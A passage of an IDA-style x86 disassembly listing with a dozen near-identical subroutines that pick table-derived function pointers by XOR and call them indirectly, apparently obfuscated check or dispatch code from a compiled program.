var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4
mov [ebp+var_2C], 3Bh
mov [ebp+var_28], 0Bh
mov [ebp+var_24], 39h
mov [ebp+var_20], 56h
mov [ebp+var_1C], 9Ch
mov [ebp+var_18], 0D4h
mov [ebp+var_14], 20h
mov [ebp+var_10], 4
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 4
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7CF0
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7CF0: ; CODE XREF: sub_4A7C5F+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7C5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7D5C proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED964o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 1Eh
mov [ebp+var_2C], 0CEh
mov [ebp+var_28], 1Dh
mov [ebp+var_24], 0BFh
mov [ebp+var_20], 88h
mov [ebp+var_1C], 0E8h
mov [ebp+var_18], 87h
mov [ebp+var_14], 40h
mov [ebp+var_10], 1
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 1
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7DEC
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7DEC: ; CODE XREF: sub_4A7D5C+7Dj
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7D5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7E58 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED968o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7Dh
mov [ebp+var_2C], 0DBh
mov [ebp+var_28], 0B4h
mov [ebp+var_24], 0Eh
mov [ebp+var_20], 0C5h
mov [ebp+var_1C], 0B1h
mov [ebp+var_18], 0F5h
mov [ebp+var_14], 33h
mov [ebp+var_10], 5
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 5
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7EE9
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7EE9: ; CODE XREF: sub_4A7E58+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7E58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A7F55 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED96Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 7Eh
mov [ebp+var_2C], 2Dh
mov [ebp+var_28], 1Ch
mov [ebp+var_24], 0
mov [ebp+var_20], 98h
mov [ebp+var_1C], 58h
mov [ebp+var_18], 0DDh
mov [ebp+var_14], 0AFh
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A7FE6
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A7FE6: ; CODE XREF: sub_4A7F55+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A7F55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8052 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED970o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 4Fh
mov [ebp+var_2C], 88h
mov [ebp+var_28], 1Fh
mov [ebp+var_24], 0BFh
mov [ebp+var_20], 0AFh
mov [ebp+var_1C], 0F1h
mov [ebp+var_18], 0D1h
mov [ebp+var_14], 11h
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A80E3
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A80E3: ; CODE XREF: sub_4A8052+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A814F proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED974o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 6Eh
mov [ebp+var_2C], 43h
mov [ebp+var_28], 8Eh
mov [ebp+var_24], 0ACh
mov [ebp+var_20], 40h
mov [ebp+var_1C], 92h
mov [ebp+var_18], 8Eh
mov [ebp+var_14], 3Bh
mov [ebp+var_10], 6
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 6
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A81E0
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A81E0: ; CODE XREF: sub_4A814F+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A814F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A824C proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED978o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 3Ch
mov [ebp+var_2C], 7Fh
mov [ebp+var_28], 0BAh
mov [ebp+var_24], 47h
mov [ebp+var_20], 0C5h
mov [ebp+var_1C], 0AEh
mov [ebp+var_18], 93h
mov [ebp+var_14], 0F9h
mov [ebp+var_10], 0Bh
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Bh
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A82DD
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A82DD: ; CODE XREF: sub_4A824C+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A824C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8349 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED97Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 58h
mov [ebp+var_2C], 0CBh
mov [ebp+var_28], 33h
mov [ebp+var_24], 0D2h
mov [ebp+var_20], 1Bh
mov [ebp+var_1C], 67h
mov [ebp+var_18], 0B2h
mov [ebp+var_14], 0A7h
mov [ebp+var_10], 8
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 8
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A83DA
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A83DA: ; CODE XREF: sub_4A8349+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8349 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8446 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED980o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0F2h
mov [ebp+var_2C], 0CDh
mov [ebp+var_28], 5Eh
mov [ebp+var_24], 0F4h
mov [ebp+var_20], 0C1h
mov [ebp+var_1C], 85h
mov [ebp+var_18], 73h
mov [ebp+var_14], 80h
mov [ebp+var_10], 5
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 5
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A84D7
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A84D7: ; CODE XREF: sub_4A8446+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8446 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8543 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED984o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 1Bh
mov [ebp+var_2C], 0CEh
mov [ebp+var_28], 95h
mov [ebp+var_24], 0B9h
mov [ebp+var_20], 96h
mov [ebp+var_1C], 0B2h
mov [ebp+var_18], 0D1h
mov [ebp+var_14], 32h
mov [ebp+var_10], 5
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 5
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A85D4
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A85D4: ; CODE XREF: sub_4A8543+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8543 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A8640 proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED988o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 0B6h
mov [ebp+var_2C], 1Dh
mov [ebp+var_28], 7Fh
mov [ebp+var_24], 4
mov [ebp+var_20], 0B9h
mov [ebp+var_1C], 0C2h
mov [ebp+var_18], 0CFh
mov [ebp+var_14], 0B1h
mov [ebp+var_10], 0Ah
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 0Ah
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A86D1
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A86D1: ; CODE XREF: sub_4A8640+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A8640 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A873D proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED98Co
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 40h
mov [ebp+var_30], 6Dh
mov [ebp+var_2C], 46h
mov [ebp+var_28], 0CEh
mov [ebp+var_24], 94h
mov [ebp+var_20], 94h
mov [ebp+var_1C], 62h
mov [ebp+var_18], 19h
mov [ebp+var_14], 0DBh
mov [ebp+var_10], 11h
mov [ebp+var_40], 7
mov eax, [ebp+arg_0]
shr eax, 11h
and eax, 7
mov ecx, [ebp+eax*4+var_30]
mov [ebp+var_3C], ecx
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_34], eax
mov eax, [ebp+var_3C]
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
mov edx, [ebp+var_34]
cmp edx, [ebp+var_38]
jnz short loc_4A87CE
mov eax, [ebp+var_38]
add eax, 1
cdq
mov ecx, 1Eh
idiv ecx
mov [ebp+var_38], edx
loc_4A87CE: ; CODE XREF: sub_4A873D+7Ej
mov edx, [ebp+var_3C]
mov eax, [ebp+var_34]
mov ecx, dword_4F36E8[edx*4]
xor ecx, dword_4ED2CC[eax*4]
mov edx, [ebp+var_38]
xor ecx, dword_4ED2CC[edx*4]
mov [ebp+var_8], ecx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_3C]
movsx edx, byte_4F1DF0[ecx]
call off_4F1D00[edx*4]
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
call [ebp+var_8]
add esp, 8
push eax
mov edx, [ebp+var_3C]
movsx eax, byte_4F1DF0[edx]
call off_4F1D78[eax*4]
add esp, 4
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, 1
mov esp, ebp
pop ebp
retn
sub_4A873D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A883A proc near ; CODE XREF: .text:004BB43Ep
; DATA XREF: .data:004ED990o
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
